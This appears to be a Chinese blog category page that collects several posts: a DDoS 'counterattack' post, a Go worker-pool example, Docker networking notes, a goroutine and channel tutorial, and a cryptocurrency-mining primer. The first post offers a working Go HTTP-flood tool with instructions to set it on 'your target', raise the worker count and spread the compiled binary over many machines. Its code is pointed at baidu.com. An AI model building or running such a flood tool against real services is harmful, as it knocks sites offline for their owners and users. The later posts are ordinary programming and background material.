分类 并发控制 下的文章

DDos

DDos攻击是什么

DDoS攻击是目前最常见的网络攻击方式之一,其见效快、成本低的特点,让DDoS这种攻击方式深受不法分子的喜爱。DDoS攻击经过十几年的发展,已经“进化”的越来越复杂,黑客不断升级新的攻击方式以便于绕过各种安全防御措施。

举个例子

  • 假设你开了一家店,生意还不错哦。
  • 此刻隔壁家生意萧条的老王盯上了你
  • 于是他雇佣了一群闹事的小伙子
  • 紧接着,你就发现店里来了一大波客人。你完全应接不暇,而且他们老找你问这问那,东看西看,就是不买东西,更可恶,他们赖着不走了!
  • 而真正的客人进店的地方都没有了!这就是所谓的DDos攻击,他们伪装的和正常访问的数据几乎一模一样,使得防护设备无法识别哪些是非法的数据流量

解决办法

解决个屁, 打不过就加入, 废话不多说直接开始反击。

下面的代码由Golang编写 模拟用户请求, 利用go协程机制并发访问地址, 致使目标服务器应接不暇瘫痪。


使用方法

  1. 安装Golang环境
  2. 创建.go文件将下面代码复制进去
  3. 修改请求地址为你的目标
  4. workers为并行数量 数量越大目标压力越大
  5. go build 你创建的文件名 生成exe文件

如果单台电脑不足以给目标服务器造成压力 可以将编译文件放到多台电脑去执行

package main

import (
    "fmt"
    "io"
    "io/ioutil"
    "net/http"
    "net/url"
    "runtime"
    "sync/atomic"
    "time"
)

func main() {

    workers := 99999999 //请求并发数量
    d, err := New("http://baidu.com/", workers) // 请求的地址
    if err != nil {
        panic(err)
    }
    d.Run()
    time.Sleep(time.Second * 2)
    d.Stop()
    fmt.Println("DDoS attack server: http://baidu.com/")
    // Output: DDoS attack server: http://127.0.0.1:80
}

// DDoS - structure of value for DDoS attack
type DDoS struct {
    url           string
    stop          *chan bool
    amountWorkers int

    // Statistic
    successRequest int64
    amountRequests int64
}

// New - initialization of new DDoS attack
func New(URL string, workers int) (*DDoS, error) {
    if workers < 1 {
        return nil, fmt.Errorf("Amount of workers cannot be less 1")
    }
    u, err := url.Parse(URL)
    if err != nil || len(u.Host) == 0 {
        return nil, fmt.Errorf("Undefined host or error = %v", err)
    }
    s := make(chan bool)
    return &DDoS{
        url:           URL,
        stop:          &s,
        amountWorkers: workers,
    }, nil
}

// Run - run DDoS attack
func (d *DDoS) Run() {
    for i := 0; i < d.amountWorkers; i++ {
        fmt.Println(i)
        go func() {
            for {
                select {
                case <-(*d.stop):
                    return
                default:
                    // sent http GET requests
                    resp, err := http.Get(d.url) //发起请求
                    atomic.AddInt64(&d.amountRequests, 1)
                    if err == nil {
                        atomic.AddInt64(&d.successRequest, 1)
                        _, _ = io.Copy(ioutil.Discard, resp.Body)
                        _ = resp.Body.Close()
                    }
                }
                runtime.Gosched()
            }
        }()
    }
    fmt.Println("RUN end")
}

// Stop - stop DDoS attack
func (d *DDoS) Stop() {
    for i := 0; i < d.amountWorkers; i++ {

        fmt.Println("stop", i)
        *d.stop <- true

    }
    close(*d.stop)
}

// Result - result of DDoS attack
func (d *DDoS) Result() (successRequest, amountRequests int64) {
    return d.successRequest, d.amountRequests
}

执行结果

以我自己网站为例子

网站首页已经瘫痪

a4a3beb3fff10e11b7015caf24e23ac.png

CPU负载已经100

032643a214bd3c792ff51388e33dd13.png

work_pool 协程池, 工作池


在工作中我们通常会使用可以指定启动的goroutine数量worker pool模式,控制goroutine的数量,防止goroutine泄漏和暴涨。

一个简易的work pool示例代码如下:

package main

import (
    "fmt"
    "time"
)

//var g sync.WaitGroup

func worker(id int, project chan int, result chan int) {

    for j := range project {
        fmt.Printf("worker:%d,start job:,%d\n", id, j)
        time.Sleep(time.Second)
        result <- j * 2
    }
}

func res(res chan int) {
    for {
        fmt.Printf("任务执行完毕,结果%d\n", <-res)
    }
}

func main() {

    project := make(chan int, 100)
    result := make(chan int)

    // 携程池 启动三个携程
    for i := 0; i <= 3; i++ {
        go worker(i, project, result)
    }

    // 生产五个任务 先执行完的协程会自动过取任务
    for j := 0; j <= 5; j++ {
        project <- j
    }

    // 取出结果
    go res(result)

    time.Sleep(time.Second * 3)

}

}

网络篇

我们在进行ifconfig时会出现:

  • ens33:linux宿主机地址
  • lo:local 本地回环链络
  • virbr0: 虚拟网桥

    • 安装Centos过程中,如果有选择相关虚拟化的服务安装系统后,启动网卡时会发现有个一以网桥连接的私网地址的virbr0网卡,还有一个固定的默认IP地址 192.168.122.1 是做虚拟机网桥使用的,其作用是为连接其上的虚拟机网卡提供NAT访问外网的功能。

docker启动以后,会出现一个docker0的虚拟网桥,他可以使容器和容器之间,容器与宿主机之间相互访问
启动Docker以后会默认以下创建三大网络模式。

  • bridge

    • 主要用这个
    • 为每一个容器分配 设置IP等 并将容器连接到每一个docker0
    • 虚拟网桥 默认为该模式
  • host

    • 勉强会用这个
    • 容器将不会虚拟出自己的网卡 配置自己的IP等 而是使用宿主机的IP和端口
  • none

    • 一般不会用
    • 容器有独立的Network namespace 但并没有对其进行任何网络设置 如分配veth pair和网桥连接 IP等
  • container

    • 新创建的容器不会创建自己的网卡和配置自己的IP 而是和一个指定的容器共享IP 端口范围等

网络有什么用?

用于实现docker网络管理和容器之间的调用规划

能干嘛?

容器间的互联和通信以及端口映射
容器ip变动时候可以通过服务名直接网络通信而不受影响

docker0是什么?

Docker服务默认会创建一个docker0网桥(其上有一个docker0内部接口),
该桥接网络的名称为docker0,他在内核层连通了其他的物理或虚拟网卡,
这就将所有容器和本地组主机都放到同一个物理网络。docker默认制定了docker0接口的IP地址和子网掩码,
让主机和容器直接可以通过网桥相互通信

自定义网络

由于ip是会变化的,所以要通过服务名调用

after

  1. 新建自定义网络
  2. docker network create 网络名称
  3. docker ls
  4. 把容器一和容器二都加入自定义网络
  5. docker run -d -p 宿主机端口1:容器端口 --network 网络名称1 --name 网络名称1 容器名
  6. docker run -d -p 宿主机端口2:容器端口 --network 网络名称2 --name 网络名称2 容器名
  7. 现在两个容器已经在同一网段 可以通过ip ping通

network命令:

不会了就输入下面这个


docker network --help

查看网络列表

docker network ls

删除网络

docker network rm 网络ID

创建网络

docker network create 网络名称

查看网络详情

docker network inspect 网络名称


并发编程

进程(process):程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。

线程(thread):操作系统基于进程开启的轻量级进程,是操作系统调度执行的最小单位。

协程(goroutine):非操作系统提供而是由用户自行创建和控制的用户态‘线程’,比线程更轻量级。

业界将如何实现并发编程总结归纳为各式各样的并发模型,常见的并发模型有以下几种:

  • 线程&锁模型
  • Actor模型
  • CSP模型
  • Fork&Join模型
    Go语言中的并发程序主要是通过基于CSP(communicating sequential processes)的goroutine和channel来实现,当然也支持使用传统的多线程共享内存的并发方式。

goroutime

Goroutine 是 Go 语言支持并发的核心,在一个Go程序中同时创建成百上千个goroutine是非常普遍的,一个goroutine会以一个很小的栈开始其生命周期,一般只需要2KB。区别于操作系统线程由系统内核进行调度, goroutine 是由Go运行时(runtime)负责调度。例如Go运行时会智能地将 m个goroutine 合理地分配给n个操作系统线程,实现类似m:n的调度机制,不再需要Go开发者自行在代码层面维护一个线程池。

Goroutine 是 Go 程序中最基本的并发执行单元。每一个 Go 程序都至少包含一个 goroutine——main goroutine,当 Go 程序启动时它会自动创建。

在Go语言编程中你不需要去自己写进程、线程、协程,你的技能包里只有一个技能——goroutine,当你需要让某个任务并发执行的时候,你只需要把这个任务包装成一个函数,开启一个 goroutine 去执行这个函数就可以了,就是这么简单粗暴。


Go语言中使用 goroutine 非常简单,只需要在函数或方法调用前加上go关键字就可以创建一个 goroutine ,从而让该函数或方法在新创建的 goroutine 中执行。

go关键字

// 创建一个新的 goroutine 运行函数f
go f()  
//匿名函数也支持使用go关键字创建 goroutine 去执行。
go func(){
// ...
}()

启动单个goroutine(代码中 hello 函数和其后面的打印语句是串行的。)

package main

import (
    "fmt"
)

func hello() {
    fmt.Println("hello")
}

func main() {
    hello()
    fmt.Println("你好")
}

接下来我们在调用 hello 函数前面加上关键字go,也就是启动一个 goroutine 去执行 hello 这个函数。

func main() {
    go hello() // 启动另外一个goroutine去执行hello函数
    fmt.Println("main goroutine done!")
}

这一次的执行结果只在终端打印了”你好”,并没有打印 hello。这是为什么呢?

其实在 Go 程序启动时,Go 程序就会为 main 函数创建一个默认的 goroutine 。在上面的代码中我们在 main 函数中使用 go 关键字创建了另外一个 goroutine 去执行 hello 函数,而此时 main goroutine 还在继续往下执行,我们的程序中此时存在两个并发执行的 goroutine。当 main 函数结束时整个程序也就结束了,同时 main goroutine 也结束了,所有由 main goroutine 创建的 goroutine 也会一同退出。也就是说我们的 main 函数退出太快,另外一个 goroutine 中的函数还未执行完程序就退出了,导致未打印出“hello”。

main goroutine 就像是《权利的游戏》中的夜王,其他的 goroutine 都是夜王转化出的异鬼,夜王一死它转化的那些异鬼也就全部GG了。

所以我们要想办法让 main 函数‘“等一等”将在另一个 goroutine 中运行的 hello 函数。其中最简单粗暴的方式就是在 main 函数中“time.Sleep”一秒钟了(这里的1秒钟只是我们为了保证新的 goroutine 能够被正常创建和执行而设置的一个值)。

按如下方式修改我们的示例代码。

package main

import (
    "fmt"
    "time"
)

func hello() {
    fmt.Println("hello")
}

func main() {
    go hello()
    fmt.Println("你好")
    time.Sleep(time.Second)
}

在上面的程序中使用time.Sleep让 main goroutine 等待 hello goroutine执行结束是不优雅的,当然也是不准确的。

Go 语言中通过sync包为我们提供了一些常用的并发原语,我们会在后面的小节单独介绍sync包中的内容。在这一小节,我们会先介绍一下 sync 包中的WaitGroup。当你并不关心并发操作的结果或者有其它方式收集并发操作的结果时,WaitGroup是实现等待一组并发操作完成的好方法。

下面的示例代码中我们在 main goroutine 中使用sync.WaitGroup来等待 hello goroutine 完成后再退出。

package main

import (
    "fmt"
    "sync"
)

// 声明全局等待组变量
var wg sync.WaitGroup

func hello() {
    fmt.Println("hello")
    wg.Done() // 告知当前goroutine完成
}

func main() {
    wg.Add(1) // 登记1个goroutine
    go hello()
    fmt.Println("你好")
    wg.Wait() // 阻塞等待登记的goroutine完成
}

将代码编译后再执行,得到的输出结果和之前一致,但是这一次程序不再会有多余的停顿,hello goroutine 执行完毕后程序直接退出。

启动多个goroutine

在 Go 语言中实现并发就是这样简单,我们还可以启动多个 goroutine 。让我们再来看一个新的代码示例。这里同样使用了sync.WaitGroup来实现 goroutine 的同步。

package main

import (
    "fmt"
    "sync"
)

var wg sync.WaitGroup

func hello(i int) {
    defer wg.Done() // goroutine结束就登记-1
    fmt.Println("hello", i)
}
func main() {
    for i := 0; i < 10; i++ {
        wg.Add(1) // 启动一个goroutine就登记+1
        go hello(i)
    }
    wg.Wait() // 等待所有登记的goroutine都结束
}

多次执行上面的代码会发现每次终端上打印数字的顺序都不一致。这是因为10个 goroutine 是并发执行的,而 goroutine 的调度是随机的。

动态栈

操作系统的线程一般都有固定的栈内存(通常为2MB),而 Go 语言中的 goroutine 非常轻量级,一个 goroutine 的初始栈空间很小(一般为2KB),所以在 Go 语言中一次创建数万个 goroutine 也是可能的。并且 goroutine 的栈不是固定的,可以根据需要动态地增大或缩小, Go 的 runtime 会自动为 goroutine 分配合适的栈空间。
goroutine的栈大小限制可以达到1GB

goroutine调度

操作系统内核在调度时会挂起当前正在执行的线程并将寄存器中的内容保存到内存中,然后选出接下来要执行的线程并从内存中恢复该线程的寄存器信息,然后恢复执行该线程的现场并开始执行线程。从一个线程切换到另一个线程需要完整的上下文切换。因为可能需要多次内存访问,索引这个切换上下文的操作开销较大,会增加运行的cpu周期。

区别于操作系统内核调度操作系统线程,goroutine 的调度是Go语言运行时(runtime)层面的实现,是完全由 Go 语言本身实现的一套调度系统——go scheduler。它的作用是按照一定的规则将所有的 goroutine 调度到操作系统线程上执行。

在经历数个版本的迭代之后,目前 Go 语言的调度器采用的是 GPM 调度模型。gpm.png

其中:

  • G:表示 goroutine,每执行一次go f()就创建一个 G,包含要执行的函数和上下文信息。

全局队列(Global Queue):存放等待运行的 G。

  • M:线程想运行任务就得获取 P,从 P 的本地队列获取 G,当 P 的本地队列为空时,M 也会尝试从全局队列或其他 P 的本地队列获取 G。M 运行 G,G 执行之后,M 会从 P 获取下一个 G,不断重复下去。
  • P:表示 goroutine执行所需的资源,最多有 GOMAXPROCS 个。

P 的本地队列:同全局队列类似,存放的也是等待运行的G,存的数量有限,不超过256个。新建 G 时,G 优先加入到 P 的本地队列,如果本地队列满了会批量移动部分 G 到全局队列。

Goroutine 调度器和操作系统调度器是通过 M 结合起来的,每个 M 都代表了1个内核线程,操作系统调度器负责把内核线程分配到 CPU 的核上执行。

单从线程调度讲,Go语言相比起其他语言的优势在于OS线程是由OS内核来调度的, goroutine 则是由Go运行时(runtime)自己的调度器调度的,完全是在用户态下完成的, 不涉及内核态与用户态之间的频繁切换,包括内存的分配与释放,都是在用户态维护着一块大的内存池, 不直接调用系统的malloc函数(除非内存池需要改变),成本比调度OS线程低很多。 另一方面充分利用了多核的硬件资源,近似的把若干goroutine均分在物理线程上, 再加上本身 goroutine 的超轻量级,以上种种特性保证了 goroutine 调度方面的性能。

golang runtime是有个sysmon的协程,他会轮询的检测所有的P上下文队列,只要 G-M 的线程长时间在阻塞状态,那么就重新创建一个线程去从runtime P队列里获取任务。先前的阻塞的线程会被游离出去了,当他完成阻塞操作后会触发相关的callback回调,并加入回线程组里。简单说,如果你没有特意配置runtime.SetMaxThreads,那么在没有可复用的线程的情况下,会一直创建新线程。


GOMAXPROCS

我们知道可以通过runtime.GOMAXPROCS()来了设定P的值

Go 1.5开始, Go的GOMAXPROCS默认值已经设置为 CPU的核数, 这允许我们的Go程序充分使用机器的每一个CPU,最大程度的提高我们程序的并发性能。

但其实对于IO密集型的场景,我们可以把GOMAXPROCS的值超过CPU核数,在笔者维护的某个服务中,将GOMAXPROCS设为CPU核数的2倍,压测结果表明,吞吐能力大概能提升10%

runtime.GOMAXPROCS(1) // 代表只用一个CPU核去跑下面的代码

channel

单纯地将函数并发执行是没有意义的。函数与函数间需要交换数据才能体现并发执行函数的意义。

虽然可以使用共享内存进行数据交换,但是共享内存在不同的 goroutine 中容易发生竞态问题。为了保证数据交换的正确性,很多并发模型中必须使用互斥量对内存进行加锁,这种做法势必造成性能问题。

Go语言采用的并发模型是CSP(Communicating Sequential Processes),提倡通过通信共享内存而不是通过共享内存而实现通信
如果说 goroutine 是Go程序并发的执行体,channel就是它们之间的连接。channel是可以让一个 goroutine 发送特定值到另一个 goroutine 的通信机制。

Go 语言中的通道(channel)是一种特殊的类型。通道像一个传送带或者队列,总是遵循先入先出(First In First Out)的规则,保证收发数据的顺序。每一个通道都是一个具体类型的导管,也就是声明channel的时候需要为其指定元素类型。

channel类型

channel是 Go 语言中一种特有的类型。声明通道类型变量的格式如下:

var 变量名称 chan 元素类型

其中:

  • chan:是关键字
  • 元素类型:是指通道中传递元素的类型

    var ch1 chan int   // 声明一个传递整型的通道
    var ch2 chan bool  // 声明一个传递布尔型的通道
    var ch3 chan []int // 声明一个传递int切片的通道

channel零值

未初始化的通道类型变量其默认零值是nil。

var ch chan int
fmt.Println(ch) // <nil>

初始化channel

make(chan 元素类型, [缓冲大小])
  • channel的缓冲大小是可选的。
    举几个例子:

    ch4 := make(chan int)
    ch5 := make(chan bool, 1)  // 声明一个缓冲区大小为1的通道

channel操作

通道共有发送(send)、接收(receive)和关闭(close)三种操作。而发送和接收操作都使用<-符号。

现在我们先使用以下语句定义一个通道:

ch := make(chan int)

发送

将一个值发送到通道中。


ch <- 10 // 把10发送到ch中

接收

从一个通道中接收值。

x := <- ch // 从ch中接收值并赋值给变量x
<-ch       // 从ch中接收值,忽略结果

关闭

我们通过调用内置的close函数来关闭通道。
通道关闭后,仍然可以进行读操作,但不可以进行写操作。

close(ch)

注意:一个通道值是可以被垃圾回收掉的。通道通常由发送方执行关闭操作,并且只有在接收方明确等待通道关闭的信号时才需要执行关闭操作。它和关闭文件不一样,通常在结束操作之后关闭文件是必须要做的,但关闭通道不是必须的。

关闭后的通道有以下特点:

对一个关闭的通道再发送值就会导致 panic。
对一个关闭的通道进行接收会一直获取值直到通道为空。
对一个关闭的并且没有值的通道执行接收操作会得到对应类型的零值。
关闭一个已经关闭的通道会导致 panic。

无缓冲的通道

无缓冲的通道又称为阻塞的通道。我们来看一下如下代码片段。

func main() {
    ch := make(chan int)
    ch <- 10
    fmt.Println("发送成功")
}

上面这段代码能够通过编译,但是执行的时候会出现以下错误:

fatal error: all goroutines are asleep - deadlock!

goroutine 1 [chan send]:
main.main()
        .../main.go:8 +0x54

deadlock表示我们程序中的 goroutine 都被挂起导致程序死锁了。为什么会出现deadlock错误呢?

因为我们使用ch := make(chan int)创建的是无缓冲的通道,无缓冲的通道只有在有接收方能够接收值的时候才能发送成功,否则会一直处于等待发送的阶段。同理,如果对一个无缓冲通道执行接收操作时,没有任何向通道中发送值的操作那么也会导致接收操作阻塞。就像田径比赛中的4x100接力赛,想要完成交棒必须有一个能够接棒的运动员,否则只能等待。简单来说就是无缓冲的通道必须有至少一个接收方才能发送成功。

上面的代码会阻塞在ch <- 10这一行代码形成死锁,那如何解决这个问题呢?

其中一种可行的方法是创建一个 goroutine 去接收值,例如:

func recv(c chan int) {
    ret := <-c
    fmt.Println("接收成功", ret)
}

func main() {
    ch := make(chan int)
    go recv(ch) // 创建一个 goroutine 从通道接收值
    ch <- 10
    fmt.Println("发送成功")
}

首先无缓冲通道ch上的发送操作会阻塞,直到另一个 goroutine 在该通道上执行接收操作,这时数字10才能发送成功,两个 goroutine 将继续执行。相反,如果接收操作先执行,接收方所在的 goroutine 将阻塞,直到 main goroutine 中向该通道发送数字10。

使用无缓冲通道进行通信将导致发送和接收的 goroutine 同步化。因此,无缓冲通道也被称为同步通道。

有缓冲的通道

还有另外一种解决上面死锁问题的方法,那就是使用有缓冲区的通道。我们可以在使用 make 函数初始化通道时,可以为其指定通道的容量,例如:

func main() {
    ch := make(chan int, 1) // 创建一个容量为1的有缓冲区通道
    ch <- 10
    fmt.Println("发送成功")
}

只要通道的容量大于零,那么该通道就属于有缓冲的通道,通道的容量表示通道中最大能存放的元素数量。当通道内已有元素数达到最大容量后,再向通道执行发送操作就会阻塞,除非有从通道执行接收操作。就像你小区的快递柜只有那么个多格子,格子满了就装不下了,就阻塞了,等到别人取走一个快递员就能往里面放一个。

我们可以使用内置的len函数获取通道内元素的数量,使用cap函数获取通道的容量,虽然我们很少会这么做。

多返回值模式

当向通道中发送完数据时,我们可以通过close函数来关闭通道。当一个通道被关闭后,再往该通道发送值会引发panic,从该通道取值的操作会先取完通道中的值。通道内的值被接收完后再对通道执行接收操作得到的值会一直都是对应元素类型的零值。那我们如何判断一个通道是否被关闭了呢?

对一个通道执行接收操作时支持使用如下多返回值模式。

value, ok := <- ch

其中:

  • value:从通道中取出的值,如果通道被关闭则返回对应类型的零值。
  • ok:通道ch关闭时返回 false,否则返回 true。

下面代码片段中的f2函数会循环从通道ch中接收所有值,直到通道被关闭后退出。

func f2(ch chan int) {
    for {
        v, ok := <-ch
        if !ok {
            fmt.Println("通道已关闭")
            break
        }
        fmt.Printf("v:%#v ok:%#v\n", v, ok)
    }
}

func main() {
    ch := make(chan int, 2)
    ch <- 1
    ch <- 2
    close(ch)
    f2(ch)
}

for range接收值

通常我们会选择使用for range循环从通道中接收值,当通道被关闭后,会在通道内的所有值被接收完毕后会自动退出循环。上面那个示例我们使用for range改写后会很简洁。

通常我们会选择使用for range循环从通道中接收值,当通道被关闭后,会在通道内的所有值被接收完毕后会自动退出循环。上面那个示例我们使用for range改写后会很简洁。

注意:目前Go语言中并没有提供一个不对通道进行读取操作就能判断通道是否被关闭的方法。不能简单的通过len(ch)操作来判断通道是否被关闭。

单向通道

在某些场景下我们可能会将通道作为参数在多个任务函数间进行传递,通常我们会选择在不同的任务函数中对通道的使用进行限制,比如限制通道在某个函数中只能执行发送或只能执行接收操作。想象一下,我们现在有Producer和Consumer两个函数,其中Producer函数会返回一个通道,并且会持续将符合条件的数据发送至该通道,并在发送完成后将该通道关闭。而Consumer函数的任务是从通道中接收值进行计算,这两个函数之间通过Processer函数返回的通道进行通信。完整的示例代码如下。

package main

import (
    "fmt"
)

// Producer 返回一个通道
// 并持续将符合条件的数据发送至返回的通道中
// 数据发送完成后会将返回的通道关闭
func Producer() chan int {
    ch := make(chan int, 2)
    // 创建一个新的goroutine执行发送数据的任务
    go func() {
        for i := 0; i < 10; i++ {
            if i%2 == 1 {
                ch <- i
            }
        }
        close(ch) // 任务完成后关闭通道
    }()

    return ch
}

// Consumer 从通道中接收数据进行计算
func Consumer(ch chan int) int {
    sum := 0
    for v := range ch {
        sum += v
    }
    return sum
}

func main() {
    ch := Producer()

    res := Consumer(ch)
    fmt.Println(res) // 25

}

从上面的示例代码中可以看出正常情况下Consumer函数中只会对通道进行接收操作,但是这不代表不可以在Consumer函数中对通道进行发送操作。作为Producer函数的提供者,我们在返回通道的时候可能只希望调用方拿到返回的通道后只能对其进行接收操作。但是我们没有办法阻止在Consumer函数中对通道进行发送操作。

Go语言中提供了单向通道来处理这种需要限制通道只能进行某种操作的情况。

<- chan int // 只接收通道,只能接收不能发送
chan <- int // 只发送通道,只能发送不能接收

其中,箭头<-和关键字chan的相对位置表明了当前通道允许的操作,这种限制将在编译阶段进行检测。另外对一个只接收通道执行close也是不允许的,因为默认通道的关闭操作应该由发送方来完成。

我们使用单向通道将上面的示例代码进行如下改造

// Producer2 返回一个接收通道
func Producer2() <-chan int {
    ch := make(chan int, 2)
    // 创建一个新的goroutine执行发送数据的任务
    go func() {
        for i := 0; i < 10; i++ {
            if i%2 == 1 {
                ch <- i
            }
        }
        close(ch) // 任务完成后关闭通道
    }()

    return ch
}

// Consumer2 参数为接收通道
func Consumer2(ch <-chan int) int {
    sum := 0
    for v := range ch {
        sum += v
    }
    return sum
}

func main() {
    ch2 := Producer2()
  
    res2 := Consumer2(ch2)
    fmt.Println(res2) // 25
}

这一次,Producer函数返回的是一个只接收通道,这就从代码层面限制了该函数返回的通道只能进行接收操作,保证了数据安全。很多读者看到这个示例可能会觉着这样的限制是多余的,但是试想一下如果Producer函数可以在其他地方被其他人调用,你该如何限制他人不对该通道执行发送操作呢?并且返回限制操作的单向通道也会让代码语义更清晰、更易读。

在函数传参及任何赋值操作中全向通道(正常通道)可以转换为单向通道,但是无法反向转换。

var ch3 = make(chan int, 1)
ch3 <- 10
close(ch3)
Consumer2(ch3) // 函数传参时将ch3转为单向通道

var ch4 = make(chan int, 1)
ch4 <- 10
var ch5 <-chan int // 声明一个只接收通道ch5
ch5 = ch4          // 变量赋值时将ch4转为单向通道
<-ch5

基础知识

  • 什么是挖矿?
  • 如何通过挖矿获得收益?
  • 算力与收益的关系?
  • 什么是区块链?

前言:

解释一些术语以方便大家更好的阅读

去中心化

在一个分布有众多节点的系统中,每个节点都具有高度自治的特征。节点之间彼此可以自由连接,形成新的连接单元。任何一个节点都可能成为阶段性的中心,
但不具备强制性的中心控制功能。节点与节点之间的影响,会通过网络而形成非线性因果关系。这种开放式、扁平化、平等性的系统现象或结构,我们称之为去中心化。

简单来说:
随着主体对客体的相互作用的深入和认知机能的不断平衡、认知结构的不断完善,个体能从自我中心状态中解除出来,称之为去中心化。

算力

算力(也称哈希率)是比特币网络处理能力的度量单位,就是计算力的意思,

1.什么是挖矿

挖矿是对加密货币(比如比特币Bitcoin)开采的一个俗称。
开采加密币就像是求解一道数学题,最先得到答案,就获得相应的奖励。
注:
这里说的加密币通常被人们称为数字货币,即具有价值但不真实存在的货币。
像我们平时消费的纸币、硬币为真实存在并具有价值的货币。
所以整个求解并验证的过程就叫做挖矿;
而协助破解数字答案的设备就称为矿机;
运行矿机,获得收益的人群就被成为矿工。
比特币诞生之初,普通的计算机就可以进行挖矿操作,同时很容易由个人挖出一个块,但是随着比特币的发展、每10分钟出一个块的难度调节机制以及全网算力的不断提高,
普通的计算机的计算能力已不足以挖出区块了,由此衍生出了算力更强的专业矿机,也就是ASIC矿机。但是单台ASIC矿机的算力依旧是有限的,面对不断提高的全网算力,
矿池作为集中矿工算力的运营商也逐步的出现。
注:
算力(又名:哈希率)是比特币网络处理能力的度量单位,即为计算机(CPU)计算哈希函数输出的速度。
比特币网络必须为了安全目的而进行密集的数学和加密相关操作。
算力是衡量在一定的网络消耗下生成新块的单位的总计算能力。

2.如何通过挖矿得到收益?

矿工挖矿的过程:是通过运行加密币节点,同步历史账本,将最新交易记录到账本,并获得加密币区块奖励的一个过程。
挖矿,即工作量证明PoW(Proof of Work)
工作量证明通过计算一个随机数( nonce )数值,使得拼凑上交易数据后计算出的 Hash (哈希)值满足规定的上限。
注:
随机数(Nonce)是任意的或非重复的值,它包括在经过一个协议的数据交换中,通常为保证活跃度以及避免受重复攻击。
Hash哈希值:一个文件或一段数据这些信息通过哈希运算,产生出来的独一无二的哈希值。简单理解哈希值即为,一段数据或一个文件的DNA。
在节点成功找到满足的Hash(哈希)值之后,会马上对全网进行广播,告知全网自己已打包到了新的区块,网络的节点收到广播打包区块后,
会立刻对其进行验证。如果验证通过,则表明已经有节点成功解密,自己就不再竞争当前区块打包,而是选择接受这个区块,记录到自己的账本中,然后进行下一个区块的竞争猜谜。
网络中只有最快解谜的区块,才会添加的账本中,其他的节点进行复制,这样就保证了整个账本的唯一性。

3.算力与收益的关系?


算力和收益之间的关系(以比特币举例):
(1)同难度的情况下,算力越高,收益越高;
(2)比特币每2016个区块,约两周的时间进行一次难度调整。可能会因为全网难度调整,而出现算力增加,但收益反而减少的情况;
(3)比特币每4年奖励减半一次,在奖励减半的收益,用户挖矿的收益也随之减半。
算力和收益之间的计算公式:
您一天的挖矿收益=您的算力*一天的时间(86400秒)*块奖励(6.25个比特币)/(全网难度*2^32)

4. 什么是区块链?

区块链(Blockchain)是一个信息技术领域的术语,顾名思义即一个一个的区块组成的一条链。
该技术巧妙地结合并融合了涉及数学、密码学、互联网和计算机编程等众多领域的专业技术知识。
简单来说,区块链是一个分布式的共享账本或数据库,存储于其中的数据或信息,具有去中心化、不可篡改等特点。 
这些特点保证了区块链的“诚实”与“透明”,为区块链创造信任奠定基础。
这些特点使得区块链能够解决许多信息不对称问题,允许用户在无第三方中介参与的情况下进行协作,且不必彼此信任,
实现了多个主体之间的协作信任与一致行动,以此创造可靠的合作机制,具有广阔而丰富的应用前景。

下一篇 : 区块链的发展历程
本篇文章特别鸣谢:
感谢瑞琪子的文案参考,瑞琪子是一名特别出色的文案编辑,643368289@qq.com是她的邮箱,欢迎骚扰。